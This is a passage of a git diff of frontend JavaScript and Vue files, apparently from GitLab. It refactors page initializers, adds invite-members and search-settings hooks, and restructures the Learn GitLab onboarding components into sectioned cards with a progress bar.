+import initRevokeButton from '~/deploy_tokens/init_revoke_button';
+import initSearchSettings from '~/search_settings';
+
+initSearchSettings();
+initRevokeButton();
diff --git a/app/assets/javascripts/pages/groups/settings/integrations/index.js b/app/assets/javascripts/pages/groups/settings/integrations/index.js
new file mode 100644
index 00000000000..53068f72d3f
--- /dev/null
+++ b/app/assets/javascripts/pages/groups/settings/integrations/index.js
@@ -0,0 +1,3 @@
+import initIntegrationsList from '~/integrations/index';
+
+initIntegrationsList();
diff --git a/app/assets/javascripts/pages/groups/settings/packages_and_registries/index.js b/app/assets/javascripts/pages/groups/settings/packages_and_registries/index.js
index d13bf026777..3b922622d2c 100644
--- a/app/assets/javascripts/pages/groups/settings/packages_and_registries/index.js
+++ b/app/assets/javascripts/pages/groups/settings/packages_and_registries/index.js
@@ -1,6 +1,3 @@
import bundle from '~/packages_and_registries/settings/group/bundle';
-import initSearchSettings from '~/search_settings';
bundle();
-
-document.addEventListener('DOMContentLoaded', initSearchSettings);
diff --git a/app/assets/javascripts/pages/groups/settings/repository/show/index.js b/app/assets/javascripts/pages/groups/settings/repository/show/index.js
index 2c9867653de..92405f205cb 100644
--- a/app/assets/javascripts/pages/groups/settings/repository/show/index.js
+++ b/app/assets/javascripts/pages/groups/settings/repository/show/index.js
@@ -1,10 +1,7 @@
import DueDateSelectors from '~/due_date_select';
-import initSearchSettings from '~/search_settings';
import initSettingsPanels from '~/settings_panels';
// Initialize expandable settings panels
initSettingsPanels();
new DueDateSelectors(); // eslint-disable-line no-new
-
-initSearchSettings();
diff --git a/app/assets/javascripts/pages/profiles/show/index.js b/app/assets/javascripts/pages/profiles/show/index.js
index a24c6ca7754..b5441127797 100644
--- a/app/assets/javascripts/pages/profiles/show/index.js
+++ b/app/assets/javascripts/pages/profiles/show/index.js
@@ -7,81 +7,78 @@ import { __ } from '~/locale';
import EmojiMenu from './emoji_menu';
const defaultStatusEmoji = 'speech_balloon';
+const toggleEmojiMenuButtonSelector = '.js-toggle-emoji-menu';
+const toggleEmojiMenuButton = document.querySelector(toggleEmojiMenuButtonSelector);
+const statusEmojiField = document.getElementById('js-status-emoji-field');
+const statusMessageField = document.getElementById('js-status-message-field');
-document.addEventListener('DOMContentLoaded', () => {
- const toggleEmojiMenuButtonSelector = '.js-toggle-emoji-menu';
- const toggleEmojiMenuButton = document.querySelector(toggleEmojiMenuButtonSelector);
- const statusEmojiField = document.getElementById('js-status-emoji-field');
- const statusMessageField = document.getElementById('js-status-message-field');
+const toggleNoEmojiPlaceholder = (isVisible) => {
+ const placeholderElement = document.getElementById('js-no-emoji-placeholder');
+ placeholderElement.classList.toggle('hidden', !isVisible);
+};
- const toggleNoEmojiPlaceholder = (isVisible) => {
- const placeholderElement = document.getElementById('js-no-emoji-placeholder');
- placeholderElement.classList.toggle('hidden', !isVisible);
- };
+const findStatusEmoji = () => toggleEmojiMenuButton.querySelector('gl-emoji');
+const removeStatusEmoji = () => {
+ const statusEmoji = findStatusEmoji();
+ if (statusEmoji) {
+ statusEmoji.remove();
+ }
+};
- const findStatusEmoji = () => toggleEmojiMenuButton.querySelector('gl-emoji');
- const removeStatusEmoji = () => {
- const statusEmoji = findStatusEmoji();
- if (statusEmoji) {
- statusEmoji.remove();
- }
- };
+const selectEmojiCallback = (emoji, emojiTag) => {
+ statusEmojiField.value = emoji;
+ toggleNoEmojiPlaceholder(false);
+ removeStatusEmoji();
+ toggleEmojiMenuButton.innerHTML += emojiTag;
+};
- const selectEmojiCallback = (emoji, emojiTag) => {
- statusEmojiField.value = emoji;
- toggleNoEmojiPlaceholder(false);
- removeStatusEmoji();
- toggleEmojiMenuButton.innerHTML += emojiTag;
- };
-
- const clearEmojiButton = document.getElementById('js-clear-user-status-button');
- clearEmojiButton.addEventListener('click', () => {
- statusEmojiField.value = '';
- statusMessageField.value = '';
- removeStatusEmoji();
- toggleNoEmojiPlaceholder(true);
- });
+const clearEmojiButton = document.getElementById('js-clear-user-status-button');
+clearEmojiButton.addEventListener('click', () => {
+ statusEmojiField.value = '';
+ statusMessageField.value = '';
+ removeStatusEmoji();
+ toggleNoEmojiPlaceholder(true);
+});
- const emojiAutocomplete = new GfmAutoComplete();
- emojiAutocomplete.setup($(statusMessageField), { emojis: true });
+const emojiAutocomplete = new GfmAutoComplete();
+emojiAutocomplete.setup($(statusMessageField), { emojis: true });
- const userNameInput = document.getElementById('user_name');
- userNameInput.addEventListener('input', () => {
- const EMOJI_REGEX = emojiRegex();
- if (EMOJI_REGEX.test(userNameInput.value)) {
- // set field to invalid so it gets detected by GlFieldErrors
- userNameInput.setCustomValidity(__('Invalid field'));
- } else {
- userNameInput.setCustomValidity('');
- }
- });
+const userNameInput = document.getElementById('user_name');
+userNameInput.addEventListener('input', () => {
+ const EMOJI_REGEX = emojiRegex();
+ if (EMOJI_REGEX.test(userNameInput.value)) {
+ // set field to invalid so it gets detected by GlFieldErrors
+ userNameInput.setCustomValidity(__('Invalid field'));
+ } else {
+ userNameInput.setCustomValidity('');
+ }
+});
- Emoji.initEmojiMap()
- .then(() => {
- const emojiMenu = new EmojiMenu(
- Emoji,
- toggleEmojiMenuButtonSelector,
- 'js-status-emoji-menu',
- selectEmojiCallback,
- );
- emojiMenu.bindEvents();
+Emoji.initEmojiMap()
+ .then(() => {
+ const emojiMenu = new EmojiMenu(
+ Emoji,
+ toggleEmojiMenuButtonSelector,
+ 'js-status-emoji-menu',
+ selectEmojiCallback,
+ );
+ emojiMenu.bindEvents();
- const defaultEmojiTag = Emoji.glEmojiTag(defaultStatusEmoji);
- statusMessageField.addEventListener('input', () => {
- const hasStatusMessage = statusMessageField.value.trim() !== '';
- const statusEmoji = findStatusEmoji();
- if (hasStatusMessage && statusEmoji) {
- return;
- }
+ const defaultEmojiTag = Emoji.glEmojiTag(defaultStatusEmoji);
+ statusMessageField.addEventListener('input', () => {
+ const hasStatusMessage = statusMessageField.value.trim() !== '';
+ const statusEmoji = findStatusEmoji();
+ if (hasStatusMessage && statusEmoji) {
+ return;
+ }
- if (hasStatusMessage) {
- toggleNoEmojiPlaceholder(false);
- toggleEmojiMenuButton.innerHTML += defaultEmojiTag;
- } else if (statusEmoji.dataset.name === defaultStatusEmoji) {
- toggleNoEmojiPlaceholder(true);
- removeStatusEmoji();
- }
- });
- })
- .catch(() => createFlash(__('Failed to load emoji list.')));
-});
+ if (hasStatusMessage) {
+ toggleNoEmojiPlaceholder(false);
+ toggleEmojiMenuButton.innerHTML += defaultEmojiTag;
+ } else if (statusEmoji.dataset.name === defaultStatusEmoji) {
+ toggleNoEmojiPlaceholder(true);
+ removeStatusEmoji();
+ }
+ });
+ })
+ .catch(() => createFlash(__('Failed to load emoji list.')));
diff --git a/app/assets/javascripts/pages/projects/blob/show/index.js b/app/assets/javascripts/pages/projects/blob/show/index.js
index 10bac6d60c2..fc2702b8c37 100644
--- a/app/assets/javascripts/pages/projects/blob/show/index.js
+++ b/app/assets/javascripts/pages/projects/blob/show/index.js
@@ -5,10 +5,29 @@ import GpgBadges from '~/gpg_badges';
import initBlob from '~/pages/projects/init_blob';
import initWebIdeLink from '~/pages/projects/shared/web_ide_link';
import commitPipelineStatus from '~/projects/tree/components/commit_pipeline_status_component.vue';
+import BlobContentViewer from '~/repository/components/blob_content_viewer.vue';
import '~/sourcegraph/load';
-new BlobViewer(); // eslint-disable-line no-new
-initBlob();
+const viewBlobEl = document.querySelector('#js-view-blob-app');
+
+if (viewBlobEl) {
+ const { blobPath } = viewBlobEl.dataset;
+
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: viewBlobEl,
+ render(createElement) {
+ return createElement(BlobContentViewer, {
+ props: {
+ path: blobPath,
+ },
+ });
+ },
+ });
+} else {
+ new BlobViewer(); // eslint-disable-line no-new
+ initBlob();
+}
const CommitPipelineStatusEl = document.querySelector('.js-commit-pipeline-status');
const statusLink = document.querySelector('.commit-actions .ci-status-link');
diff --git a/app/assets/javascripts/pages/projects/branches/index/index.js b/app/assets/javascripts/pages/projects/branches/index/index.js
index 72861855c5a..27ec746ad02 100644
--- a/app/assets/javascripts/pages/projects/branches/index/index.js
+++ b/app/assets/javascripts/pages/projects/branches/index/index.js
@@ -1,7 +1,16 @@
+import initDeprecatedRemoveRowBehavior from '~/behaviors/deprecated_remove_row_behavior';
import AjaxLoadingSpinner from '~/branches/ajax_loading_spinner';
+import BranchSortDropdown from '~/branches/branch_sort_dropdown';
import DeleteModal from '~/branches/branches_delete_modal';
import initDiverganceGraph from '~/branches/divergence_graph';
AjaxLoadingSpinner.init();
new DeleteModal(); // eslint-disable-line no-new
-initDiverganceGraph(document.querySelector('.js-branch-list').dataset.divergingCountsEndpoint);
+
+const { divergingCountsEndpoint, defaultBranch } = document.querySelector(
+ '.js-branch-list',
+).dataset;
+
+initDiverganceGraph(divergingCountsEndpoint, defaultBranch);
+BranchSortDropdown();
+initDeprecatedRemoveRowBehavior();
diff --git a/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue b/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
index 7112b23775d..288d6711682 100644
--- a/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
+++ b/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
@@ -13,6 +13,7 @@ import {
GlFormRadioGroup,
GlFormSelect,
} from '@gitlab/ui';
+import { kebabCase } from 'lodash';
import { buildApiUrl } from '~/api/api_utils';
import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
@@ -145,6 +146,10 @@ export default {
this.fork.visibility = visibility;
}
},
+ // eslint-disable-next-line func-names
+ 'fork.name': function (newVal) {
+ this.fork.slug = kebabCase(newVal);
+ },
},
mounted() {
this.fetchNamespaces();
@@ -213,6 +218,7 @@ export default {
id="fork-url"
v-model="selectedNamespace"
data-testid="fork-url-input"
+ data-qa-selector="fork_namespace_dropdown"
required
>
<template slot="first">
@@ -286,6 +292,7 @@ export default {
category="primary"
variant="confirm"
data-testid="submit-button"
+ data-qa-selector="fork_project_button"
:loading="isSaving"
>
{{ s__('ForkProject|Fork project') }}
diff --git a/app/assets/javascripts/pages/projects/hooks/index.js b/app/assets/javascripts/pages/projects/hooks/index.js
new file mode 100644
index 00000000000..2a120a690ef
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/hooks/index.js
@@ -0,0 +1,3 @@
+import initSearchSettings from '~/search_settings';
+
+initSearchSettings();
diff --git a/app/assets/javascripts/pages/projects/issues/form.js b/app/assets/javascripts/pages/projects/issues/form.js
index 4e35f28ab06..c0da0069a99 100644
--- a/app/assets/javascripts/pages/projects/issues/form.js
+++ b/app/assets/javascripts/pages/projects/issues/form.js
@@ -5,6 +5,7 @@ import IssuableForm from 'ee_else_ce/issuable_form';
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import GLForm from '~/gl_form';
import initSuggestions from '~/issuable_suggestions';
+import initIssuableTypeSelector from '~/issuable_type_selector';
import LabelsSelect from '~/labels_select';
import MilestoneSelect from '~/milestone_select';
import IssuableTemplateSelectors from '~/templates/issuable_template_selectors';
@@ -20,4 +21,5 @@ export default () => {
});
initSuggestions();
+ initIssuableTypeSelector();
};
diff --git a/app/assets/javascripts/pages/projects/issues/index/index.js b/app/assets/javascripts/pages/projects/issues/index/index.js
index 366f8dc61bc..85489ae8687 100644
--- a/app/assets/javascripts/pages/projects/issues/index/index.js
+++ b/app/assets/javascripts/pages/projects/issues/index/index.js
@@ -20,7 +20,12 @@ initFilteredSearch({
useDefaultState: true,
});
-new IssuableIndex(ISSUABLE_INDEX.ISSUE);
+if (gon.features?.vueIssuesList) {
+ new IssuableIndex();
+} else {
+ new IssuableIndex(ISSUABLE_INDEX.ISSUE);
+}
+
new ShortcutsNavigation();
new UsersSelect();
diff --git a/app/assets/javascripts/pages/projects/issues/show.js b/app/assets/javascripts/pages/projects/issues/show.js
index 992bf3c54ff..2b679a83eac 100644
--- a/app/assets/javascripts/pages/projects/issues/show.js
+++ b/app/assets/javascripts/pages/projects/issues/show.js
@@ -3,6 +3,8 @@ import ShortcutsIssuable from '~/behaviors/shortcuts/shortcuts_issuable';
import initIssuableSidebar from '~/init_issuable_sidebar';
import initInviteMemberModal from '~/invite_member/init_invite_member_modal';
import initInviteMemberTrigger from '~/invite_member/init_invite_member_trigger';
+import initInviteMembersModal from '~/invite_members/init_invite_members_modal';
+import initInviteMembersTrigger from '~/invite_members/init_invite_members_trigger';
import { IssuableType } from '~/issuable_show/constants';
import Issue from '~/issue';
import '~/notes/index';
@@ -34,6 +36,8 @@ export default function initShowIssue() {
initIssueHeaderActions(store);
initSentryErrorStackTraceApp();
initRelatedMergeRequestsApp();
+ initInviteMembersModal();
+ initInviteMembersTrigger();
import(/* webpackChunkName: 'design_management' */ '~/design_management')
.then((module) => module.default())
@@ -42,10 +46,18 @@ export default function initShowIssue() {
new ZenMode(); // eslint-disable-line no-new
if (issueType !== IssuableType.TestCase) {
+ const awardEmojiEl = document.getElementById('js-vue-awards-block');
+
new Issue(); // eslint-disable-line no-new
new ShortcutsIssuable(); // eslint-disable-line no-new
initIssuableSidebar();
- loadAwardsHandler();
+ if (awardEmojiEl) {
+ import('~/emoji/awards_app')
+ .then((m) => m.default(awardEmojiEl))
+ .catch(() => {});
+ } else {
+ loadAwardsHandler();
+ }
initInviteMemberModal();
initInviteMemberTrigger();
}
diff --git a/app/assets/javascripts/pages/projects/jobs/index/index.js b/app/assets/javascripts/pages/projects/jobs/index/index.js
index 681d151b77f..75194499a7f 100644
--- a/app/assets/javascripts/pages/projects/jobs/index/index.js
+++ b/app/assets/javascripts/pages/projects/jobs/index/index.js
@@ -1,17 +1,23 @@
import Vue from 'vue';
+import initJobsTable from '~/jobs/components/table';
import GlCountdown from '~/vue_shared/components/gl_countdown.vue';
-const remainingTimeElements = document.querySelectorAll('.js-remaining-time');
-remainingTimeElements.forEach(
- (el) =>
- new Vue({
- el,
- render(h) {
- return h(GlCountdown, {
- props: {
- endDateString: el.dateTime,
- },
- });
- },
- }),
-);
+if (gon.features?.jobsTableVue) {
+ initJobsTable();
+} else {
+ const remainingTimeElements = document.querySelectorAll('.js-remaining-time');
+
+ remainingTimeElements.forEach(
+ (el) =>
+ new Vue({
+ el,
+ render(h) {
+ return h(GlCountdown, {
+ props: {
+ endDateString: el.dateTime,
+ },
+ });
+ },
+ }),
+ );
+}
diff --git a/app/assets/javascripts/pages/projects/jobs/show/index.js b/app/assets/javascripts/pages/projects/jobs/show/index.js
index d57dbeb1242..6fef057dee0 100644
--- a/app/assets/javascripts/pages/projects/jobs/show/index.js
+++ b/app/assets/javascripts/pages/projects/jobs/show/index.js
@@ -1,3 +1,3 @@
import initJobDetails from '~/jobs';
-document.addEventListener('DOMContentLoaded', initJobDetails);
+initJobDetails();
diff --git a/app/assets/javascripts/pages/projects/labels/index/index.js b/app/assets/javascripts/pages/projects/labels/index/index.js
index 9f782c07101..94ab0d64de4 100644
--- a/app/assets/javascripts/pages/projects/labels/index/index.js
+++ b/app/assets/javascripts/pages/projects/labels/index/index.js
@@ -1,4 +1,5 @@
import Vue from 'vue';
+import initDeleteLabelModal from '~/delete_label_modal';
import initLabels from '~/init_labels';
import { BV_SHOW_MODAL } from '~/lib/utils/constants';
import Translate from '~/vue_shared/translate';
@@ -9,6 +10,7 @@ Vue.use(Translate);
const initLabelIndex = () => {
initLabels();
+ initDeleteLabelModal();
const onRequestFinished = ({ labelUrl, successful }) => {
const button = document.querySelector(
diff --git a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_a.vue b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_a.vue
index 32ca623ca45..ef9e13f7ccf 100644
--- a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_a.vue
+++ b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_a.vue
@@ -1,11 +1,17 @@
<script>
-import { GlLink } from '@gitlab/ui';
-import { ACTION_LABELS } from '../constants';
+import { GlProgressBar, GlSprintf } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import { ACTION_LABELS, ACTION_SECTIONS } from '../constants';
+import LearnGitlabSectionCard from './learn_gitlab_section_card.vue';
export default {
- components: { GlLink },
+ components: { GlProgressBar, GlSprintf, LearnGitlabSectionCard },
i18n: {
- ACTION_LABELS,
+ title: s__('LearnGitLab|Learn GitLab'),
+ description: s__(
+ 'LearnGitLab|Ready to get started with GitLab? Follow these steps to set up your workspace, plan and commit changes, and deploy your project.',
+ ),
+ percentageCompleted: s__(`LearnGitLab|%{percentage}%{percentSymbol} completed`),
},
props: {
actions: {
@@ -13,15 +19,49 @@ export default {
type: Object,
},
},
+ maxValue: Object.keys(ACTION_LABELS).length,
+ sections: Object.keys(ACTION_SECTIONS),
+ computed: {
+ progressValue() {
+ return Object.values(this.actions).filter((a) => a.completed).length;
+ },
+ progressPercentage() {
+ return Math.round((this.progressValue / this.$options.maxValue) * 100);
+ },
+ },
+ methods: {
+ actionsFor(section) {
+ const actions = Object.fromEntries(
+ Object.entries(this.actions).filter(
+ ([action]) => ACTION_LABELS[action].section === section,
+ ),
+ );
+ return actions;
+ },
+ },
};
</script>
<template>
- <ul>
- <li v-for="(value, action) in actions" :key="action">
- <span v-if="value.completed">{{ $options.i18n.ACTION_LABELS[action].title }}</span>
- <span v-else>
- <gl-link :href="value.url">{{ $options.i18n.ACTION_LABELS[action].title }}</gl-link>
- </span>
- </li>
- </ul>
+ <div>
+ <div class="row">
+ <div class="gl-mb-7 gl-ml-5">
+ <h1 class="gl-font-size-h1">{{ $options.i18n.title }}</h1>
+ <p class="gl-text-gray-700 gl-mb-0">{{ $options.i18n.description }}</p>
+ </div>
+ </div>
+ <div class="gl-mb-3">
+ <p class="gl-text-gray-500 gl-mb-2" data-testid="completion-percentage">
+ <gl-sprintf :message="$options.i18n.percentageCompleted">
+ <template #percentage>{{ progressPercentage }}</template>
+ <template #percentSymbol>%</template>
+ </gl-sprintf>
+ </p>
+ <gl-progress-bar :value="progressValue" :max="$options.maxValue" />
+ </div>
+ <div class="row row-cols-1 row-cols-md-3 gl-mt-5">
+ <div v-for="section in $options.sections" :key="section" class="col gl-mb-6">
+ <learn-gitlab-section-card :section="section" :actions="actionsFor(section)" />
+ </div>
+ </div>
+ </div>
</template>
diff --git a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_b.vue b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_b.vue
index 230054ff76e..8f92ce95dbf 100644
--- a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_b.vue
+++ b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_b.vue
@@ -1,5 +1,6 @@
<script>
import { GlProgressBar, GlSprintf } from '@gitlab/ui';
+import { pick } from 'lodash';
import { s__ } from '~/locale';
import { ACTION_LABELS } from '../constants';
import LearnGitlabInfoCard from './learn_gitlab_info_card.vue';
@@ -42,7 +43,7 @@ export default {
infoProps(action) {
return {
...this.actions[action],
- ...ACTION_LABELS[action],
+ ...pick(ACTION_LABELS[action], ['title', 'actionLabel', 'description', 'trialRequired']),
};
},
progressValue() {
@@ -96,6 +97,9 @@ export default {
<div class="row row-cols-2 row-cols-md-3 row-cols-lg-4">
<div class="col gl-mb-6">
+ <learn-gitlab-info-card v-bind="infoProps('issueCreated')" />
+ </div>
+ <div class="col gl-mb-6">
<learn-gitlab-info-card v-bind="infoProps('mergeRequestCreated')" />
</div>
</div>
diff --git a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_info_card.vue b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_info_card.vue
index 3d2a8eed9d4..6cd3bbc359b 100644
--- a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_info_card.vue
+++ b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_info_card.vue
@@ -61,7 +61,7 @@ export default {
<div
class="gl-text-center gl-display-flex gl-justify-content-center gl-align-items-center gl-flex-direction-column learn-gitlab-info-card-content"
>
- <img :src="svg" />
+ <img :src="svg" :alt="actionLabel" />
<h6>{{ title }}</h6>
<p class="gl-font-sm gl-text-gray-700">{{ description }}</p>
<gl-link :href="url" target="_blank">{{ actionLabel }}</gl-link>
diff --git a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_card.vue b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_card.vue
new file mode 100644
index 00000000000..db694a66afd
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_card.vue
@@ -0,0 +1,52 @@
+<script>
+import { GlCard } from '@gitlab/ui';
+import { imagePath } from '~/lib/utils/common_utils';
+import { ACTION_LABELS, ACTION_SECTIONS } from '../constants';
+
+import LearnGitlabSectionLink from './learn_gitlab_section_link.vue';
+
+export default {
+ name: 'LearnGitlabSectionCard',
+ components: { GlCard, LearnGitlabSectionLink },
+ i18n: {
+ ...ACTION_SECTIONS,
+ },
+ props: {
+ section: {
+ required: true,
+ type: String,
+ },
+ actions: {
+ required: true,
+ type: Object,
+ },
+ },
+ computed: {
+ sortedActions() {
+ return Object.entries(this.actions).sort(
+ (a1, a2) => ACTION_LABELS[a1[0]].position - ACTION_LABELS[a2[0]].position,
+ );
+ },
+ },
+ methods: {
+ svg(section) {
+ return imagePath(`learn_gitlab/section_${section}.svg`);
+ },
+ },
+};
+</script>
+<template>
+ <gl-card class="gl-pt-0 learn-gitlab-section-card">
+ <div class="learn-gitlab-section-card-header">
+ <img :src="svg(section)" />
+ <h2 class="gl-font-lg gl-mb-3">{{ $options.i18n[section].title }}</h2>
+ <p class="gl-text-gray-700 gl-mb-6">{{ $options.i18n[section].description }}</p>
+ </div>
+ <learn-gitlab-section-link
+ v-for="[action, value] in sortedActions"
+ :key="action"
+ :action="action"
+ :value="value"
+ />
+ </gl-card>
+</template>
diff --git a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue
new file mode 100644
index 00000000000..6f51c7372fd
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue
@@ -0,0 +1,43 @@
+<script>
+import { GlLink, GlIcon } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import { ACTION_LABELS } from '../constants';
+
+export default {
+ name: 'LearnGitlabSectionLink',
+ components: { GlLink, GlIcon },
+ i18n: {
+ ACTION_LABELS,
+ trialOnly: s__('LearnGitlab|Trial only'),
+ },
+ props: {
+ action: {
+ required: true,
+ type: String,
+ },
+ value: {
+ required: true,
+ type: Object,
+ },
+ },
+ computed: {
+ trialOnly() {
+ return ACTION_LABELS[this.action].trialRequired;
+ },
+ },
+};
+</script>
+<template>
+ <div class="gl-mb-4">
+ <span v-if="value.completed" class="gl-text-green-500">
+ <gl-icon name="check-circle-filled" :size="16" data-testid="completed-icon" />
+ {{ $options.i18n.ACTION_LABELS[action].title }}
+ </span>
+ <span v-else>
+ <gl-link :href="value.url">{{ $options.i18n.ACTION_LABELS[action].title }}</gl-link>
+ </span>
+ <span v-if="trialOnly" class="gl-font-style-italic gl-text-gray-500" data-testid="trial-only">
+ - {{ $options.i18n.trialOnly }}
+ </span>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pages/projects/learn_gitlab/constants/index.js b/app/assets/javascripts/pages/projects/learn_gitlab/constants/index.js
index 80f04b0cf44..9e204aa6746 100644
--- a/app/assets/javascripts/pages/projects/learn_gitlab/constants/index.js
+++ b/app/assets/javascripts/pages/projects/learn_gitlab/constants/index.js
@@ -5,6 +5,8 @@ export const ACTION_LABELS = {
title: s__('LearnGitLab|Create or import a repository'),
actionLabel: s__('LearnGitLab|Create or import a repository'),
description: s__('LearnGitLab|Create or import your first repository into your new project.'),
+ section: 'workspace',
+ position: 1,
},
userAdded: {
title: s__('LearnGitLab|Invite your colleagues'),
@@ -12,16 +14,22 @@ export const ACTION_LABELS = {
description: s__(
'LearnGitLab|GitLab works best as a team. Invite your colleague to enjoy all features.',
),
+ section: 'workspace',
+ position: 0,
},
pipelineCreated: {
title: s__('LearnGitLab|Set up CI/CD'),
actionLabel: s__('LearnGitLab|Set-up CI/CD'),
description: s__('LearnGitLab|Save time by automating your integration and deployment tasks.'),
+ section: 'workspace',
+ position: 2,
},
trialStarted: {
title: s__('LearnGitLab|Start a free Ultimate trial'),
actionLabel: s__('LearnGitLab|Try GitLab Ultimate for free'),
description: s__('LearnGitLab|Try all GitLab features for 30 days, no credit card required.'),
+ section: 'workspace',
+ position: 3,
},
codeOwnersEnabled: {
title: s__('LearnGitLab|Add code owners'),
@@ -30,21 +38,59 @@ export const ACTION_LABELS = {
'LearnGitLab|Prevent unexpected changes to important assets by assigning ownership of files and paths.',
),
trialRequired: true,
+ section: 'workspace',
+ position: 4,
},
requiredMrApprovalsEnabled: {
title: s__('LearnGitLab|Add merge request approval'),
actionLabel: s__('LearnGitLab|Enable require merge approvals'),
description: s__('LearnGitLab|Route code reviews to the right reviewers, every time.'),
trialRequired: true,
+ section: 'workspace',
+ position: 5,
},
mergeRequestCreated: {
title: s__('LearnGitLab|Submit a merge request'),
actionLabel: s__('LearnGitLab|Submit a merge request (MR)'),
description: s__('LearnGitLab|Review and edit proposed changes to source code.'),
+ section: 'plan',
+ position: 1,
},
securityScanEnabled: {
- title: s__('LearnGitLab|Run a security scan'),
- actionLabel: s__('LearnGitLab|Run a Security scan'),
+ title: s__('LearnGitLab|Run a Security scan using CI/CD'),
+ actionLabel: s__('LearnGitLab|Run a Security scan using CI/CD'),
description: s__('LearnGitLab|Scan your code to uncover vulnerabilities before deploying.'),
+ section: 'deploy',
+ position: 1,
+ },
+ issueCreated: {
+ title: s__('LearnGitLab|Create an issue'),
+ actionLabel: s__('LearnGitLab|Create an issue'),
+ description: s__(
+ 'LearnGitLab|Create/import issues (tickets) to collaborate on ideas and plan work.',
+ ),
+ section: 'plan',
+ position: 0,
+ },
+};
+
+export const ACTION_SECTIONS = {
+ workspace: {
+ title: s__('LearnGitLab|Set up your workspace'),
+ description: s__(
+ "LearnGitLab|Complete these tasks first so you can enjoy GitLab's features to their fullest:",
+ ),
+ },
+ plan: {
+ title: s__('LearnGitLab|Plan and execute'),
+ description: s__(
+ 'LearnGitLab|Create a workflow for your new workspace, and learn how GitLab features work together:',
+ ),
+ },
+ deploy: {
+ title: s__('LearnGitLab|Deploy'),
+ description: s__(
+ 'LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:',
+ ),
},
};
diff --git a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
index d4d5e9f2711..a5118e3529a 100644
--- a/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
+++ b/app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js
@@ -5,21 +5,33 @@ import initPipelines from '~/commit/pipelines/pipelines_bundle';
import initIssuableSidebar from '~/init_issuable_sidebar';
import initInviteMemberModal from '~/invite_member/init_invite_member_modal';
import initInviteMemberTrigger from '~/invite_member/init_invite_member_trigger';
+import initInviteMembersModal from '~/invite_members/init_invite_members_modal';
+import initInviteMembersTrigger from '~/invite_members/init_invite_members_trigger';
import { handleLocationHash } from '~/lib/utils/common_utils';
import StatusBox from '~/merge_request/components/status_box.vue';
import initSourcegraph from '~/sourcegraph';
import ZenMode from '~/zen_mode';
export default function initMergeRequestShow() {
+ const awardEmojiEl = document.getElementById('js-vue-awards-block');
+
new ZenMode(); // eslint-disable-line no-new
initIssuableSidebar();
initPipelines();
new ShortcutsIssuable(true); // eslint-disable-line no-new
handleLocationHash();
initSourcegraph();
- loadAwardsHandler();
+ if (awardEmojiEl) {
+ import('~/emoji/awards_app')
+ .then((m) => m.default(awardEmojiEl))
+ .catch(() => {});
+ } else {
+ loadAwardsHandler();
+ }
initInviteMemberModal();
initInviteMemberTrigger();
+ initInviteMembersModal();
+ initInviteMembersTrigger();
const el = document.querySelector('.js-mr-status-box');
// eslint-disable-next-line no-new
diff --git a/app/assets/javascripts/pages/projects/packages/infrastructure_registry/index/index.js b/app/assets/javascripts/pages/projects/packages/infrastructure_registry/index/index.js
new file mode 100644
index 00000000000..dfb750eca41
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/packages/infrastructure_registry/index/index.js
@@ -0,0 +1,3 @@
+import initList from '~/packages_and_registries/infrastructure_registry/list_app_bundle';
+
+initList();
diff --git a/app/assets/javascripts/pages/projects/pages/index.js b/app/assets/javascripts/pages/projects/pages/index.js
new file mode 100644
index 00000000000..2a120a690ef
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/pages/index.js
@@ -0,0 +1,3 @@
+import initSearchSettings from '~/search_settings';
+
+initSearchSettings();
diff --git a/app/assets/javascripts/pages/projects/path_locks/index.js b/app/assets/javascripts/pages/projects/path_locks/index.js
new file mode 100644
index 00000000000..e5ab5d43bbf
--- /dev/null
+++ b/app/assets/javascripts/pages/projects/path_locks/index.js
@@ -0,0 +1,3 @@
+import initDeprecatedRemoveRowBehavior from '~/behaviors/deprecated_remove_row_behavior';
+
+document.addEventListener('DOMContentLoaded', initDeprecatedRemoveRowBehavior);
diff --git a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue
index 3b19231720a..159c619e16c 100644
--- a/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue
+++ b/app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue
@@ -139,7 +139,7 @@ export default {
